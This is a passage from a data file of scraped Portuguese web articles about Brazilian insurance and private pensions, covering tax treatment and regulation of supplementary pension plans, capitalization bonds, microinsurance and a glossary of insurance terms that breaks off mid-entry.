etária, profissional e financeira dos indivíduos. Um jovem, por exemplo, no início de sua carreira profissional e ainda com limitados rendimentos, deveria ter em vista dois propósitos: dar início, mesmo de forma incipiente e vagarosa, à formação de um patrimônio destinado a financiar, direta ou indiretamente, a futura complementação do valor do benefício de aposentadoria pela previdência pública, ou destinado a fazer frente ao custeio de projetos pessoais futuros; e contratar coberturas de risco por morte e por invalidez, sempre com o mais elevado nível de proteção possível, naturalmente, dentro das pertinentes possibilidades financeiras. Essa estratégia, considerando não ter fluido ainda tempo hábil à formação de um patrimônio razoável, aliará baixos custos a uma gama razoável de proteção - caso ocorra algum dos infortúnios descritos - para o próprio e, quando for o caso, em favor dos beneficiários - progenitores ou responsáveis financeiros pelo sustento do indivíduo no período pré-laboral, entre outros. Nesse mesmo exemplo, à medida da passagem do tempo, admitindo-se o crescimento regular do patrimônio em formação, irão se alterando gradualmente as necessidades de proteção contra os citados infortúnios. Essas alterações decorrem da evolução profissional, com o crescimento do nível de remuneração, com o surgimento de novos beneficiários - filhos e outros dependentes econômicos, com a constatação de outras necessidades e exposição a diferentes riscos, e em função do próprio patrimônio que se acumula. OUTROS ASPECTOS A SEREM OBSERVADOS AS RELAÇÕES DE TRABALHO Outro aspecto importante a ser observado, nesse contexto, diz respeito às relações de trabalho com vínculo empregatício ou de forma autônoma, neste último caso, considerada também a hipótese da informalidade. O VÍNCULO EMPREGATÍCIO O vínculo empregatício pode proporcionar ao indivíduo a oportunidade de adesão a um plano de caráter previdenciário coletivo, contratado pela empresa empregadora em favor dos dirigentes e empregados. Nessa espécie de contratação, conforme mencionado anteriormente, a empresa empregadora poderá responsabilizar-se pelo custeio total ou parcial das contribuições ou somente atuar como contratante do programa previdenciário, obtendo as melhores condições - considerando sua provável expertise financeira e privilegiada posição negocial - e apenas recolhendo e repassando os recursos (contribuições) de dirigentes e empregados à respectiva operadora do plano - sociedade seguradora ou entidade de previdência complementar aberta. O TRABALHO AUTÔNOMO Os autônomos - e os empregados de empresas que não oferecem esse tipo de programa previdenciário - têm, por sua vez, a oportunidade de se filiar a planos individuais - também comercializados por sociedades seguradoras e entidades abertas de previdência complementar - ou a planos coletivos averbados, tendo como contratantes sindicatos ou associações de classe, representativos de determinada categoria profissional ou empresarial. Em ambos os casos, o custeio ocorrerá, exclusivamente, às suas próprias expensas, com a vantagem, no caso da contratação coletiva, da negociação em grupo e a consequente oportunidade de menores custos. A INFORMALIDADE A condição da informalidade - inclusive de não vinculação à previdência social - não pode ser desconsiderada, especialmente em país onde elevado percentual da população economicamente ativa ainda se encontra em tal situação. A alternativa de participar de planos individuais de previdência complementar, além das vantagens próprias no que se refere à proteção patrimonial pessoal, ainda beneficia o Estado, na medida em que traz essas pessoas, pelo menos, à ""formalidade tributária"", no tocante aos respectivos recursos. OS ASPECTOS FISCAIS Assim como nos demais países com sistema privado de previdência complementar, no Brasil os planos de benefícios dos dois segmentos de previdência complementar (aberto e fechado) contam com tratamento tributário que estimula pessoas físicas e jurídicas a deles participarem, contribuindo para o respectivo custeio. No Brasil, trata-se do sistema de diferimento fiscal (postergação do pagamento do imposto de renda), de acordo com o qual o valor das contribuições de pessoas físicas para o custeio desses planos pode, para efeitos fiscais e observados os demais aspectos legais pertinentes, ser deduzido, no presente. Esse valor somente será tributado - incluindo os rendimentos auferidos - quando de seu retorno aos participantes (por resgates) ou sua destinação aos assistidos (no pagamento dos benefícios), às alíquotas (progressivas ou regressivas) de um dos regimes do imposto de renda aplicáveis a esses planos, na forma da lei. Assim, brasileiros ingressos nesses planos que contribuam para o respectivo custeio podem deduzir o valor das contribuições que pagarem, no decorrer do ano civil base, na declaração anual de ajustes pelo formulário completo do imposto de renda, pessoa física, até o limite de 12% de sua renda bruta. Com relação ao tratamento tributário descrito, merece ressalva o benefício de pecúlio que, conforme mencionado anteriormente, consiste no pagamento único pela operadora do plano, na ocorrência de algum dos infortúnios cobertos. Para esse benefício não se aplica a regra do diferimento fiscal considerando que o seu pagamento ao beneficiário, ou ao próprio participante, no caso da invalidez, não está sujeito à incidência de qualquer tributo. De todo modo, pode-se concluir serem tais planos voltados, preferencialmente, ao atendimento de pessoas físicas situadas nas camadas de mais alta renda, ou seja, aquelas obrigadas ao preenchimento do formulário completo da declaração anual de ajuste do imposto de renda pessoa física. Por outro lado, contribuições vertidas para o custeio de planos coletivos por pessoas jurídicas, em favor de seus dirigentes e empregados, são tratadas da seguinte forma, observadas outras condicionantes: não integram o contrato de trabalho dos participantes e nem sua remuneração, consequentemente, não se sujeitam aos encargos incidentes sobre a folha salarial; não entram no cômputo do rendimento bruto da pessoa física para fins de incidência do imposto de renda, observadas disposições específicas da legislação aplicável; e são dedutíveis pela pessoa jurídica, para fins de incidência de imposto sobre a renda e da apuração da Contribuição Social sobre o Lucro Líquido (CSLL), desde que o plano seja oferecido indistintamente a todos os empregados e dirigentes - na determinação do lucro real e da base de cálculo da CSLL, o valor dedutível não pode exceder a 20% (vinte por cento) do total dos salários dos empregados e da remuneração dos dirigentes da empresa, vinculados ao plano, caso contrário, o valor excedente deverá ser adicionado ao lucro líquido para efeitos de determinação do lucro real e da base de cálculo da CSLL. ASPECTOS LEGAIS E REGULAMENTARES VOLTADOS À PROTEÇAO DO CONSUMIDOR As operadoras do segmento de Previdência Complementar Aberta - entidades de previdência complementar aberta e sociedades seguradoras - fazem, de acordo com a lei, parte do Sistema Nacional de Seguros Privados - SNSP, tendo como órgão normativo de suas atividades o Conselho Nacional de Seguros Privados - CNSP, e funcionam sob a supervisão e fiscalização da Superintendência de Seguros Privados - SUSEP, ambos os órgãos situados na esfera de competência do Ministério da Fazenda. O seu funcionamento está sujeito à prévia autorização governamental e o desenvolvimento de suas operações, incluindo a comercialização de seus produtos, cerceado pela necessidade de cumprimento de uma série de disposições legais e regulamentares, dentre elas, regras de prudência destinadas a manter a indispensável higidez econômico-financeira do sistema, sempre protegendo os interesses dos consumidores e demais credores. De registrar, inicialmente, a regulamentação concernente à determinação legal de constituição de provisões técnicas, que reflitam com fidedignidade as obrigações da entidade para com os consumidores de seus produtos. Além dessa, há a obrigatoriedade de cobertura dos valores dessas provisões com ativos financeiros adquiridos e mantidos em conformidade com modalidades expressamente previstas e autorizadas por norma específica expedida pelo Conselho Monetário Nacional - CMN, devendo ainda, para tais fins, serem respeitadas rígidas regras prudenciais estabelecidas pelo Conselho Nacional de Seguros Privados - CNSP. Os valores assim constituídos e mantidos, sujeitos a informe mensal ao órgão fiscalizador, são por ele permanentemente acompanhados, além de se submeterem, periodicamente, à avaliação de auditoria atuarial independente, em conformidade com as disposições regulamentares, onde se inclui a obrigatoriedade de encaminhamento de relatórios à Susep e sua publicação, conjuntamente com as pertinentes demonstrações financeiras. Com o propósito de aferir a razoabilidade das provisões constituídas, as operadoras desse segmento são obrigadas a realizar, periodicamente, o Teste de Adequação do Passivo , obedecendo a metodologia e critérios conservadores, determinados por regulamentação expedida pela SUSEP. Constatada eventual insuficiência no provisionamento de recursos, essas operadoras devem saná-la, de imediato, e providenciar sua pronta cobertura, por ativos garantidores, na forma da lei. No tocante à determinação legal da cobertura do saldo das provisões técnicas por ativos garantidores, é preciso repetir ser necessário às operadoras obedecerem limites para sua aquisição, além dos critérios de diversificação e de prudência estabelecidos, quer em regulamentação expedida pelo CMN, quer pelo CNSP. É importante registrar estarem os referidos ativos garantidores sujeitos à aceitação pela SUSEP, devendo ser a ela, na forma da lei, permanentemente vinculados. De acordo com disposição legal, esses ativos podem ter sua livre movimentação suspensa pelo órgão fiscalizador, a qualquer tempo, na hipótese de suspeita de cometimento de irregularidade grave. A partir da citada suspensão, os ativos garantidores das provisões técnicas não mais poderão ser alienados ou prometidos alienar, sem prévia e expressa autorização daquela Autarquia, sendo nulas, de pleno direito, quaisquer operações realizadas com violação da suspensão referida. Registre-se, por oportuno, não existirem em outros mercados, inclusive no financeiro, seja no país ou no exterior, mecanismos de proteção similares. Além dessa, outras diversas disposições infralegais estabelecem procedimentos, relativamente aos citados ativos garantidores, de sorte a: permitir a comprovação de sua existência, devendo, para tanto, serem depositados, sempre que admissível, em sistema de custódia administrado por instituição financeira, ou entidade autorizada pela autoridade competente a prestar esse serviço; garantir a liquidação financeira das operações através das quais são transacionados, obrigando sua notação em sistemas de registro e liquidação financeira de ativos, administrados por entidades devidamente autorizadas pelas autoridades competentes; permitir à Susep visualizar, on line, as negociações e posições desses ativos - títulos e valores mobiliários - empresa a empresa, e comprovar sua vinculação à Autarquia, na forma da lei, e seu valor de mercado; e garantir sua valoração e contabilidade por critérios internacionalmente reconhecidos. Não obstante todo rigor e zelo despendidos pela regulamentação no trato das provisões técnicas e correspondentes ativos garantidores, e no tocante aos requerimentos quantitativos, inclusive de capital, para fins de solvência, as previsões regulamentares dispõem ainda sobre: o capital mínimo requerido para autorização e funcionamento das operadoras desse Sistema; e a manutenção de margem de solvência , calculada a partir de princípios internacionalmente aceitos, segundo os quais se estabelecem requerimentos de capital específicos para fazer frente a cada um dos riscos próprios inerentes à operação (risco de mercado, de crédito, de subscrição, operacional, etc.). Mas não cessam aqui os instrumentos legais e regulamentares voltados à proteção dos interesses dos consumidores. As referidas operadoras de planos previdenciários privados de caráter complementar estão sujeitas, ainda, a diversos procedimentos determinados pela regulamentação a elas aplicável, entre outros: rígidas regras de manutenção de controles internos, visando o acompanhamento diuturno da atuação das suas diversas áreas; auditoria independente de suas demonstrações financeiras regulares; limites de retenção para os riscos subscritos, obrigando a utilização de mecanismos para sua diluição, como o cosseguro e o resseguro; etc. Não se pode olvidar, ainda, de poder a regulamentação infra legal versando sobre o patrimônio líquido ajustado dessas operadoras - calculado a partir de deduções do patrimônio líquido, segundo premissas conservadoras - ser adaptada para torná-lo o mais adequado possível à garantia de direitos de credores fiscais, trabalhistas e outros, de sorte a, tanto quanto possível, preservar os ativos garantidores das provisões técnicas (de constituição e manutenção obrigatória) para exclusiva satisfação de direitos dos consumidores. E mais, a regulamentação, buscando cuidar ao máximo dos interesses dos demais credores dessas operadoras, não descuidou de também estabelecer princípios rígidos de prudência para aplicação dos denominados recursos livres dessas empresas - representados pelo seu patrimônio líquido, e, portanto, dinheiro de seus acionistas - com o propósito de cercear a procura por alternativas de investimento menos prudentes, prejudiciais à liquidez e solvência da empresa.",pt
1466866651,CONTENT SHARED,-3540554289369551216,-6895155480127642372,6182198327666594200,,,,HTML,http://www.cnseg.org.br/fenacap/sobre-o-setor/o-que-e-capitalizacao/,O que é capitalização?,"Os títulos de capitalização surgiram na França há mais de 150 anos. Os associados de uma cooperativa de mineradores depositavam mensalmente valores com vistas à formação de um capital e tinham a garantia de resgatar as contribuições ao final do prazo estabelecido ou antecipadamente por sorteio. No Brasil, desde a década de 30, os títulos têm atendido determinados anseios da população brasileira. Inicialmente, os títulos de capitalização foram concebidos exclusivamente como uma ferramenta destinada a estimular o hábito de poupar, tendo como incentivo a participação em sorteios realizados durante a vigência do plano. Os títulos de capitalização, por meio das quatro modalidades ofertadas no mercado, constituem soluções capazes de atender a perfis variados de consumidores, combinando soluções de negócios com sorteios e podem ser adquiridos à vista (pagamento único) ou à prazo (pagamento mensal). Parte de cada valor pago destina-se aos sorteios e parte destina-se à constituição de um capital para resgate, dentro de prazos pré-determinados. Os percentuais destinados ao sorteio e ao resgate variam de plano para plano, em função de seus objetivos. É assim que determinados planos dão mais ênfase para o sorteio, enquanto outros, sem abrir mão da premiação, buscam a constituição de uma maior reserva. Existem as seguintes modalidades de produtos: TRADICIONAL Permite ao cliente a acumulação de uma reserva por meio de pagamentos mensais ou únicos, devolvendo 100% do valor acumulado ao fim do prazo. Durante o período, desde que esteja com as mensalidades em dia, o cliente concorre a sorteios em dinheiro. Essa modalidade também é utilizada para as soluções de garantia locatícia. POPULAR Modalidade de produto cujo foco principal é a participação em sorteios, sem a obrigatoriedade da devolução integral dos valores pagos pelo cliente. Nessa modalidade, pode haver cessão de parte da reserva para instituições filantrópicas. INCENTIVO Solução sob encomenda para empresas de diversos segmentos, que permite a aquisição de séries inteiras de títulos e a utilização de sorteios para atrair, conquistar ou fidelizar clientes em ações promocionais. COMPRA PROGRAMADA Acumulação mensal vinculada à aquisição de bens duráveis com sorteio de prêmios.",pt
1466867252,CONTENT SHARED,-1219115668721807817,-6895155480127642372,6182198327666594200,,,,HTML,http://www.cnseg.org.br/cnseg/mercado/microsseguro/o-que-e-microsseguro/,Microsseguro,"O microsseguro é tido como o primeiro passo para englobar pessoas que nunca tiveram seguro. Ou seja, seu alvo são consumidores de baixa renda, para os quais são desenhadas coberturas sob medida para ampará-los em situações que representem grande choques econômicos do orçamento doméstico, ameaçando-os jogar degraus abaixo no nível de pobreza, em virtude de morte, doenças prolongadas ou invalidez permanente, por exemplo.",pt
1466867555,CONTENT SHARED,3579921471626387620,-6895155480127642372,6182198327666594200,,,,HTML,http://www.segfoco.com.br/mercado/segures/,Dicionário de Segurês,"O Mercado de Seguros é prodigioso no que se refere aos termos usados no seu dia a dia: o já famoso Segurês ! São tantos os termos técnicos utilizados tão frequentemente pelos profissionais da área, que muitas vezes nos esquecemos que muitas pessoas (a maioria, diga-se de passagem...) não fazem a menor idéia do que significa muitos desses termos. Se você está, ou conhece alguém que esteja, ""meio confuso"" com a sopa de letrinhas do mercado de seguros, a Revista Seguros em Foco ® está aqui para ajudar. Confira, a seguir, alguns dos termos mais utilizados pelo mercado de seguros. Se a palavra que procura não está na lista, então é só mandar sua dúvida para (mencionando no Campo Assunto: Dicionário), que descobriremos seu significado e o mandaremos para você. Aceitação - Aprovação da seguradora da proposta apresentada pelo segurado, e emissão da respectiva apólice de seguro. Acessório - Entende-se como acessório rádios, toca-fitas, CD player, televisões, amplificadores e alto-falantes originais ou não, desde que fixados de forma permanente, relacionados na proposta e com limite máximo de indenização indicado na apólice. Acidente de trânsito - É o evento ocorrido no trânsito e nos pontos de parada e apoio, com data caracterizada, exclusiva e diretamente externo, súbito, involuntário e violento, causador de danos materiais, danos corporais e/ou danos morais. Acidentes Pessoais - Eventos ocorridos a pessoas de forma súbita, involuntária e externa, causadores de lesão física que por si só, e independentemente de toda e qualquer outra causa, tenha como conseqüência direta a morte ou invalidez permanente total ou parcial. Adesão (Contrato de) - A maior parte dos contratos de seguro é, na verdade, composta de contratos de adesão, pois seus termos e condições são elaborados pelo segurador e o segurado simplesmente adere ao contrato. Exatamente por isto, nos contratos em que existe ambigüidade é necessária a intervenção de um juiz. Os contratos de seguros de riscos comerciais, industriais e marítimos e de aeronaves não são mais chamados de contratos de adesão, pois é o próprio segurado que negocia os termos do contrato com a seguradora, o que não acontece com os chamados seguros de massa. Pela mesma razão, os contratos de re-seguro também não são considerados como sendo de adesão, pois ambas as partes pertencem à mesma indústria e, portanto, existe negociação de cláusulas. Aditivo - Condição adicional incluída no contrato de seguro, além das já previstas anteriormente. Agravação de Risco - Também conhecido na indústria de seguros, como hazard. Trata-se das circunstâncias que aumentam a probabilidade, a freqüência, ou magnitude, de que um sinistro ocorra. Estas circunstâncias independem da vontade do segurado e, por isto, levam à uma mudança na taxa ou nas condições oferecidas no seguro. Agravação Moral (do Risco) - quando a seguradora acredita que o segurado tenha alguma razão para intencionalmente acarretar um sinistro. Agravação Física (do Risco) - características tangíveis de risco de uma determinada exposição que aumentem as chances de ocorrer um sinistro. Aleatório - É tudo o que depende de fatores incertos ou casuais. ANS - A Agência Nacional de Saúde Suplementar tem por finalidade institucional promover a defesa do interesse público na assistência suplementar à saúde, regular as operadoras setoriais - inclusive quanto às suas relações com prestadores e consumidores - e contribuir para o desenvolvimento das ações de saúde no País. Apólice - É o documento emitido pela seguradora em função da aceitação do risco apresentado pelo segurado. A apólice contém os dados do segurado, do bem segurado e das coberturas contratadas. São parte integrante da apólice: a proposta de seguro, as condições gerais e particulares que identificam o risco, assim como as modificações que se produzam durante a vigência do seguro, realizadas através de endossos. Assim que receber a proposta, a seguradora tem 15 dias para emitir a apólice, que tem como objetivo exprimir de forma concisa e sucinta os principais tópicos cobertos pelo contrato Apólice coletiva - Contrato de seguro que cobre apenas uma pessoa ou um bem. Apólice individual - Contrato de seguro que cobre apenas uma pessoa ou um bem. Assistência - Garantias adicionais constantes em alguns seguros com serviços emergenciais, tais como: ambulância, coberturas provisórias de telhados, chaveiros, hospedagem, carro-reserva, guincho etc. Avaria Prévia - Danos existentes no veículo antes da contratação do seguro ou antes de um acidente, tais como, ferrugem, amassamentos e riscos que não são cobertos e que serão deduzidos do pagamento em caso de sinistros com perdas parciais. Averbação - Documento que o segurado utiliza para informar à seguradora sobre verbas e objetos a garantir nas apólices abertas. Muito utilizado no seguro de transportes. Permite ao segurado obter agilidade na contratação do seguro. Averbadora - Termo que é usado para denominar a pessoa jurídica (empresa) que contrata um plano de previdência privada, mas que não participa do custeio do mesmo. Nos planos de previdência a empresa pode participar como patrocinadora, e efetuar contribuições ao plano dos seus funcionários, ou simplesmente como averbadora. Aviso de Sinistro - Documento pelo qual o segurado, terceiro ou seu representante legal, comunicam à seguradora a ocorrência do evento, citando dia, hora, circunstâncias da ocorrência etc., cuja característica estão ligadas à circunstâncias previstas na apólice. É documento fundamental para que seja iniciado o processo de indenização. Beneficiário - Pessoa física ou jurídica a quem o segurado reconhece o direito de receber a quantia correspondente à indenização derivada da apólice de seguro, ou seja, é a pessoa que detém legalmente o direito à indenização. Bilhete de seguro - É um documento jurídico, emitido pelo segurador ao segurado, que substitui a apólice de seguro. Foi criado com o objetivo de facilitar a contratação do seguro. Boletim de Ocorrência (BO) - É o documento emitido por órgão competente que relata as circunstâncias do acidente ou registra o roubo/furto dos bens do cidadão. Bônus - Desconto progressivo dado ao segurado na renovação da apólice, reduzindo o preço do seguro dos segurados que não apresentarem reclamação de indenização durante a vigência da apólice. Cancelamento de Apólice - É a baixa do seguro no registro geral de apólice por falta de pagamento do prêmio, anulação do contrato, pelo pagamento de indenização pela perda total do bem segurado, ou por vontade das partes. Capital segurado - Valor máximo de indenização, ou seja, valor máximo que o segurado tem direito a receber em caso de sinistro. Carência - Prazo em que a responsabilidade do segurador em relação ao contrato de seguro fica suspensa. É o período após o qual o segurado pode utilizar o seguro. Casco - É o automóvel propriamente dito, excluídos os acessórios e equipamentos adicionais. Cobertura - Garantia de indenização ao segurado ou aos seus beneficiários do prejuízo decorrente da ocorrência de um dos riscos previstos no contrato de seguro. Coberturas Básicas - São aquelas garantias sem as quais a apólice de seguro não pode ser constituída. Coberturas Adicionais - São aquelas garantias oferecidas ao segurado, cuja contratação é opcional e de acordo com as suas necessidades. Condições gerais - Condições que regem o contrato de seguro, estabelecendo inclusive os direitos e obrigações do segurado e da seguradora, e que definem os riscos cobertos na apólice de seguro, bem como a sua indenização. Condições particulares de um seguro - Conjunto de cláusulas contratuais que obrigam e dão direitos tando ao segurado como ao segurador. Dizem respeito às diferentes modalidades de cobertura que podem existir dentro de um mesmo ramo de seguro. Contrato de Boa-Fé - Conceito que, no Código Civil Brasileiro, obriga o segurado e segurador ""à mais estrita boa-fé e veracidade, tanto a respeito do oobjeto, como das circunstâncias e declarações a ele concernentes"". O segurado corre o risco, inclusive, de perder o direito ao valor do seguro, ""se não fizer declarações verdadeiras e completas, omitindo circunstâncias que possam influir na aceitação da proposta ou na taxa do prêmio"". Corretor de Seguros - Profissional habilitado perante a SUSEP, pessoa física ou jurídica, legalmente autorizado a representar o segurado em um contrato de seguro, conforme Decreto Lei n°. 73 de 21/11/1966. É o intermediário legalmente autorizado a angariar e a promover contratos de seguro entre as seguradoras e pessoas físicas ou jurídicas. Os corretores são remunerados por comissão de corretagem e impedidos de manter qualquer tipo de vínculo de emprego ou sociedade com o segurador. Sua habilitação é concedida através de exame promovido pela Escola Nacional de Seguros (Funenseg). Cabe ao corretor de seguros intermediar o seguro pretendido, bem como orientar e esclarecer o segurado sobre os direitos, obrigações, limites e penalidades da apólice de seguro. Cosseguro - Operação em que mais de um segurador participa diretamente, em uma mesma apólice, de um mesmo risco. Cada segurador é responsável por uma quota ou parte do montante total do seguro. O prêmio pago é dividido na proporção da quota de cada segurador. Cotação - Ato de promover tomada de preços junto a mais de um segurador para a realização do contrato de seguro. Culpa Grave - Grau de culpa que se converteria em dolo se fosse praticada com má-fé. Falta que, por mais desleixado ou medíocre, o indivíduo não poderia cometer em detrimento de seu próprio interesse. Dano - É todo prejuízo material ou pessoal sofrido por um segurado, passível de indenização, de acordo com as condições de cobertura de uma apólice de seguro. Danos Corporais - É todo e qualquer danos causado ao corpo humano. Danos Materiais - É todo e qualquer dano que atinge os bens materiais, objetos e animais. Danos Morais - É todo aquele que, em decorrência de um dano corporal, traz como conseqüência a ofensa à honra, ao afeto, à liberdade, à profissão, ao respeito aos mortos, à psique, à saúde, ao nome, ao crédito, ao bem estar e à vida, ainda sem o advento do prejuízo econômico. Será devida somente quando contratada a cobertura específica de Danos Morais, dentro da garantia de Responsabilidade Civil Facultativa de Veículos. Dolo - Intenção de praticar um mal que é capitulado como crime, seja por ação ou por omissão ou, ainda, vício de consentimento caracterizado pela intenção de prejudicar ou fraudar outrem. Emolumentos - Conjunto de despesas adicionais que a seguradora cobra do segurado, correspondente as parcelas de impostos e outros encargos a que está sujeito o seguro, tal como custo de apólice. Endosso - Documento emitido pela seguradora, durante a vigência da apólice de seguro, comprovando alterações na apólice (aumento da importância segurada, cancelamento do seguro, mudança de endereço, etc). Estipulante - Pessoa física ou jurídica que contrata o seguro e em cujo nome é emitida a apólice e que fica investido dos poderes de representação dos segurados perante o segurador. O estipulante pode acumular a condição de beneficiário ou apenas representar interesse de terceiros, declarados nominalmente no contrato de seguro. Evento - Termo que define o sinistro ou acontecimento previsto e coberto ou não no contrato de seguro, que resulta em dano ao segurado. Franquia - É o valor ou percentual definido na apólice de seguro pelo qual o segurado responde obrigatoriamente pelos prejuízos de um sinistro coberto, e que representa a participação do segurado nos prejuízos, começando a responsabilidade da seguradora apenas e tão somente após alcançado o seu limite. Furto qualificado - Para efeito de cobertura, o furto qualificado é aquele em que há vestígios materiais inequívocos de destruição ou rompimento de obstáculos como portas, fechaduras, cadeados, alarmes. Obs.: A definição de furto qualificado para fins de seguro não se confunde com o disposto no § 40, artigo 155 do Código Penal. Furto Simples - Subtração de um bem, sem ameaça ou violência. Garantia (seguro) - Anteriormente denominado ""seguro garantia de obrigações contratuais"", é utilizado por instituições que necessitam garantir-se contra o risco de descumprimento de contratos firmados com fornecedores ou prestadores de serviços. Apresenta-se em várias modalidades: seguro de garantia do executante construtor, fornecedor ou prestador de serviços, garantia de adiantamento de pagamento, garantia de concorr6encia, garantia do executante e garantia de perfeito funcionamento. Não há termos iniciando por esta letra. Importância segurada - O mesmo que capital segurado. É o valor estabelecido na apólice de seguro para a garantia contratada e estabelece o valor máximo de indenização a ser paga pela seguradora em caso de sinistro. Em seguros de pessoas e responsabilidades, a determinação desse valor é livre entre as partes contratantes. Em se tratando de bens móveis ou imóveis, porém, esse valor fica limitado ao valor real do objeto. Indenização - Valor que a seguradora deve pagar ao segurado, beneficiário ou terceiro quando ocorre um sinistro coberto pelo contrato de seguro, ou seja, previsto na apólice. Em outras palavras, é o valor que a seguradora deverá pagar ao segurado, no caso de ocorrência do risco coberto, previsto no contrato de seguro. Não há termos iniciando por esta letra. Não há termos iniciando por esta letra. Limite máximo de indenização (LMI) - É o limite de responsabilidade da seguradora por sinistro ou série de sinistros para as coberturas contratadas na apólice. Má-Fé - Intenção dolosa. Intenção de prejudicar ou fraudar outrem. Praticar mal que é capitulado como crime. Motorista - Pessoa que, legalmente habilitada e com autorização do segurado, dirige o veículo segurado ou tem sob sua responsabilidade no momento do sinistro. Motorista Principal - Pessoa indicada na proposta de seguro como tal, devidamente habilitada, cujas características determinam o cálculo do seguro. Motorista Ocasional - Pessoa não indicada na proposta de seguro, que ocasionalmente venha a conduzir o veículo segurado, desde que devidamente habilitada. Nota Técnica Atuarial - É o estudo matemático e atuarial, feito por técnico capacitado, que serve para determinar o preço do prêmio de seguro. Objeto Segurado - É o bem material ou pessoa constante na apólice de seguro e para a qual são contratadas as garantias. Oficina Credenciada - Oficinas particulares e concessionárias que, através de contrato, prestam serviços à seguradora. Passageiro - É o usuário legalmente provido de seu bilhete de passagem ou o legalmente beneficiados com isenção de pagamento. Pecúlio - Em previdência social designa um benefício que é pago quando um aposentado volta a trabalhar. Em previdência privada designa a indenização, ou seja, benefício pago de uma só vez, e se contrapõe ao pagamento de benefícios na forma de renda mensal. Perda Parcial - A perda parcial será caracterizada quando os prejuízos indenizáveis, na data da liquidação do sinistro, não atingirem ou ultrapassarem a 75% do valor determinado para o objeto do segurado. Perda Total - Ocorre quando o valor dos prejuízos apurados em um sinistro atinge determinado montante, igual ou superior a 75% do bem segurado, tornando sua recuperação impossível ou economicamente inviável. Período Indenitário - Período compreendido entre a data em que o segurado começa a sofrer as conseqüências da queda de produção, consumo ou de prestação de serviços, provocadas pelo evento coberto, e a data em que retorna às atividades normais. Em geral este termo é usado nos contratos de seguro de locação, pagamento de aluguel, ou perda de emprego. Nos planos de previdência refere-se ao período em que o assistido tem direito ao recebimento de indenização sob a forma de renda vitalícia ou temporária. Perito ou Vistoriador - Profissional técnico especializado que intervém para informar sobre as causas, conseqüências e circunstâncias nos sinistros, e na avaliação dos danos sofridos. PGBL (Plano Gerador de Benefício Livre) - Trata-se de um dos planos de previdência complementar existentes no país. O PGBL ao invés de garantir uma rentabilidade mínima como acontece nos planos tradicionais, oferece a você 100% dos ganhos que o fundo onde os recursos são alocados obtiver no período. Existem basicamente três tipos de PGBL de acordo com o risco e volume aplicado em ações. Todos os investimentos são dedutíveis da base de cálculo do IR até o limite de 12% da renda bruta e o tributo incide sobre total do valor acumulado. As taxas de carregamento variam entre 0% e 3,5%. Ao aplicar em um PGBL o participante estará adquirindo cotas do fundo atrelado ao plano, da mesma forma que ocorre quando aplica num fundo de investimento comum. Os valores das cotas são divulgados diariamente nos jornais de grande circulação Plano Aberto - Termo usado para denominar os planos de previdência vendidos no mercado, que podem ser acessíveis por qualquer pessoa interessada em participar. Em geral são vendidos por seguradoras, bancos e entidades de previdência aberta. Exemplos são os planos PGBL, FAPI, etc... . Plano de Capitalização - Os planos de capitalização combinam a possibilidade de se concorrer a sorteios e prêmios, com uma forma de poupança programada. Nestes títulos a conta de investimento é ajustada pela TR +0,5%, o equivalente ao rendimento da poupança, mas ao contrário da poupança você não está isento do pagamento de imposto de renda. Em caso de sorteio e resgate do prêmio o investidor deverá pagar uma alíquota de 25% de imposto de renda, enquanto se decidir continuar participando do plano a alíquota sobe para 30%. O saque antes do prazo pode implicar na restituição apenas parcial do valor aplicado. Plano Fechado - Plano de previdência complementar criado pelas empresas em benefício de seus funcionários. Para cada R$ 1 em contribuições do funcionário ao fundo, a empresa deve fazer uma contribuição de no mínimo R$ 1. Plano Fechado com Benefício Definido - Plano de previdência complementar criado pelas empresas em benefício de seus funcionários, onde o que está definido é o benefício a ser recebido na aposentadoria. Como o saldo das contribuições não está dividido em contas individuais, pode haver déficit. Plano Fechado com Contribuição Definida - Plano de previdência complementar criado pelas empresas em benefício de seus funcionários, onde o valor do benefício a ser pago durante a aposentadoria equivale ao total acumulado. Ao contrário dos planos de benefício definido, nestes planos o que se determina é o valor da contribuição mensal. Além disso, há uma conta separada para cada empregado, minimizando o risco de déficit. Prejuízos - Perdas econômicas em conseqüência de um dano corporal ou material, sofrido pelo reclamante e indenizável pelo seguro, limitado à importância segurada. Prêmio - É o valor pago pelo segurado ou estipulante à seguradora para que esta assuma um determinado risco, ou um conjunto de riscos, através do contrato de seguro, transferindo para o segurador o risco a que está exposto. Ou seja, ao contrário do que a maioria das pessoas imagina, o termo não se refere ao valor que o segurado recebe, mas sim ao valor que o segurado paga para a seguradora para que esta garanta o pagamento da indenização especificada no contrato. O prêmio é estipulado com base em um percentual do risco que você pretende cobrir, isto é, da importância segurada. Prêmio Adicional - Trata-se de um prêmio suplementar, cobrado em certos casos determinados. Prêmio Fracionado - Trata-se do prêmio anual, que é dividido em parcelas para fins de pagamento. Prêmio Não Ganho - Montante do dinheiro que a seguradora terá que devolver em cada apólice caso a mesma seja cancelada. Prêmio Puro - Prêmio calculado pelo segurador para uma determinada cobertura ou conjunto de coberturas para fazer face ao pagamento de indenização ao segurado. Prescrição - É a perda da ação para reclamar os direitos ou a extinção das obrigações previstas nas apólices de seguro, em razão do transcurso dos prazos fixados em lei. Previdência Privada - A Previdência Privada (ou Complementar) foi implantada no Brasil no final da década de 70. No final dos anos 90, a reforma da previdência tornou a previdência privada mais atrativa, passando a permitir a dedução das contribuições previdenciárias para fins de imposto de renda, além de introduzir novos produtos. A Previdência Complementar pode ser de dois tipos: Fechada e Aberta. Previdência Privada Aberta - Uma das opções de previdência complementar existente no mercado, a outra sendo a de planos fechados. Inclui planos individuais, facultativos, que funcionam como fundos de investimento voltado para a aposentadoria (isto é com uma ótica de longo prazo). Esses fundos são administrados por instituições financeiras como, por exemplo, seguradoras, empresas de previdência privada e bancos, que em troca da administração dos recursos cobram uma comissão (taxa de administração). Previdência Privada Fechada - Uma das opções de previdência complementar existente no mercado, a outra sendo a previdência aberta. Ao contrário do que ocorre na previdência aberta, no caso da previdência fechada somente os funcionários da empresa patrocinadora podem participar do fundo, não sendo acessível à outras pessoas. A previdência fechada é oferecida pelas empresas aos seus funcionários através da constituição de um fundo de pensão para o qual contribuem tanto a empresa, quanto os funcionários. Os benefícios são acessíveis aos empregados ou dirigentes da empresa patrocinadora. Primeiro Risco Absoluto - Seguro em que a companhia seguradora responde por qualquer prejuízo real coberto até o limite da importância segurada e não invoca a regra proporcional. Neste tipo de seguro a regra de rateio nunca é aplicada. Primeiro Risco Relativo - Neste tipo de seguro a companhia seguradora responde somente pelos prejuízos até o limite da importância segurada. Caso o valor supere o montante fixado na apólice o segurado terá que dividir as perdas como se fosse um seguro 